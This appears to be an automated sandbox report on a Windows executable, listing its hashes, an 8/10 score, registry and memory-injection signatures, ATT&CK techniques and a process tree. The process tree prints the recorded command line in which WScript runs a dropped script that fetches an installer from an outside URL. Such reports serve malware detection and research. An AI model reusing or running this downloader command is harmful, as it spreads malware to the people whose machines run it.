ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b

Analysis

max time kernel
151s
max time network
195s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
28/11/2022, 04:36

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General

Target

ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe
Size

184KB
MD5

8f9c95d5257cff58ab740dd3415dff7f
SHA1

e17acc7ec421c6c4b16bb051ea3dcd1795e05cd6
SHA256

ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b
SHA512

b20f47589073cf7909c7e19c3612e603f53188332af4390c196bcba6272f47618ca70a0d7c1133b3e5b5d14b4de5ab1142df55047fee662ab1aee9bbd0a95c6a
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3z:/7BSH8zUB+nGESaaRvoB7FJNndnq

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 9 IoCs

flow	pid	Process
14	3508	WScript.exe
30	3508	WScript.exe
50	3508	WScript.exe
58	3508	WScript.exe
79	4880	WScript.exe
83	4880	WScript.exe
89	4880	WScript.exe
90	4880	WScript.exe
98	4748	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings	ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 3508	2008	ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe	82
PID 2008 wrote to memory of 3508	2008	ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe	82
PID 2008 wrote to memory of 3508	2008	ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe	82
PID 2008 wrote to memory of 4880	2008	ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe	92
PID 2008 wrote to memory of 4880	2008	ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe	92
PID 2008 wrote to memory of 4880	2008	ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe	92
PID 2008 wrote to memory of 4748	2008	ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe	96
PID 2008 wrote to memory of 4748	2008	ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe	96
PID 2008 wrote to memory of 4748	2008	ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe	96

C:\Users\Admin\AppData\Local\Temp\ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe
"C:\Users\Admin\AppData\Local\Temp\ad35ecbd8e2157391bf105211e8e2afbe5547f59ce481c0ebbab93457f33835b.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1A6D.js" http://www.djapp.info/?domain=qQKzrVboSo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1A6D.exe
  2⤵
  - Blocklisted process makes network request
  PID:3508
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1A6D.js" http://www.djapp.info/?domain=qQKzrVboSo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1A6D.exe
  2⤵
  - Blocklisted process makes network request
  PID:4880
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1A6D.js" http://www.djapp.info/?domain=qQKzrVboSo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1A6D.exe
  2⤵
  - Blocklisted process makes network request
  PID:4748

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf1A6D.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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